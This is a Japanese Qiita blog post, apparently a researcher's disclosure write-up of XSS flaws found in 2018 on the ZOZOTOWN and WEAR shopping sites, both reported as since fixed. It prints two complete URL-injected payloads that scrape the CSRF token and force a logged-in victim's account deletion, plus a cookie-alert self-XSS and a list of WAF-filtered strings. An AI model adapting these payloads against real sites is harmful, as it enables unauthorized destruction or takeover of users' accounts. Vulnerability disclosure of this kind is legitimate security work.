Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
31
Help us understand the problem. What is going on with this article?
@i8b4

ZOZOTOWNにあったXSS

More than 1 year has passed since last update.

zozo_google.png
(2018年10月)

(宇宙よりエンジニアに金かけた方が良いのでは?)

って近所の猫が言ってた。

XSS

以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

ログイン中に踏んだら強制退会できたXSS↓

http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
    type: 'GET',
    url: 'http://zozo.jp/_member/leave/default.html?',
    success: function(html){
        var token = $(html).find('input[value=Leave]').attr('name');
        var payload = {};
        payload[token] = 'Leave';
        payload['check1'] = 'on';
        payload['check2'] = 'on';
        payload['check3'] = 'on';
        payload['check5'] = 'on';
        payload['check7'] = 'on';
        $.ajax({
            type: 'POST',
            url: 'http://zozo.jp/_member/leave/default.html',
            data: payload
        });
    }
});{{'

http://zozo.jp/~https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。

原因

htmlにべた書きする形で、<script>タグの中身をURLから動的に生成していた。
現在は直っている。


あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに

  • "><script>alert(document.cookie)</script>

とか突っ込むとセルフXSSができた。
現在は直っている。

感想

  • 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
    • <script> ~、<img> ~、<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
    • location. ~ でリダイレクトさせたりすることはできた。
  • jQueryを使ってくれていて助かった。
  • ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。
    • → この記事書いた3日後にきた。

WEAR

wear.png

知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。

追記1:

よくよく見てたらWEARでも普通にXSSできた。
wear_xss_urlなし.png
(2018年10月)

追記2:

WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

強制退会XSSもできた↓

https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
 type: 'GET',
 url: leaveUrl,
 success: function(html){
 var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
 var payload = {};
 payload['AgreeCheck'] = 1;
 payload['c'] = 'leave_comp';
 payload['leaveAgreeKey'] = token;
 $.ajax({
 type: 'POST',
 url: leaveUrl,
 data: payload
 });
 }
});
var b = {'c': '

追記3:

海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。

スクリーンショット 2018-10-20 21.15.54.png
スクリーンショット 2018-10-20 21.16.48.png
スクリーンショット 2018-10-20 21.17.33.png
(2018年10月)

31
Help us understand the problem. What is going on with this article?
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
i8b4
"><script>alert(1)</script>

Comments

No comments
Sign up for free and join this conversation.
Sign Up
If you already have a Qiita account Login
31
Help us understand the problem. What is going on with this article?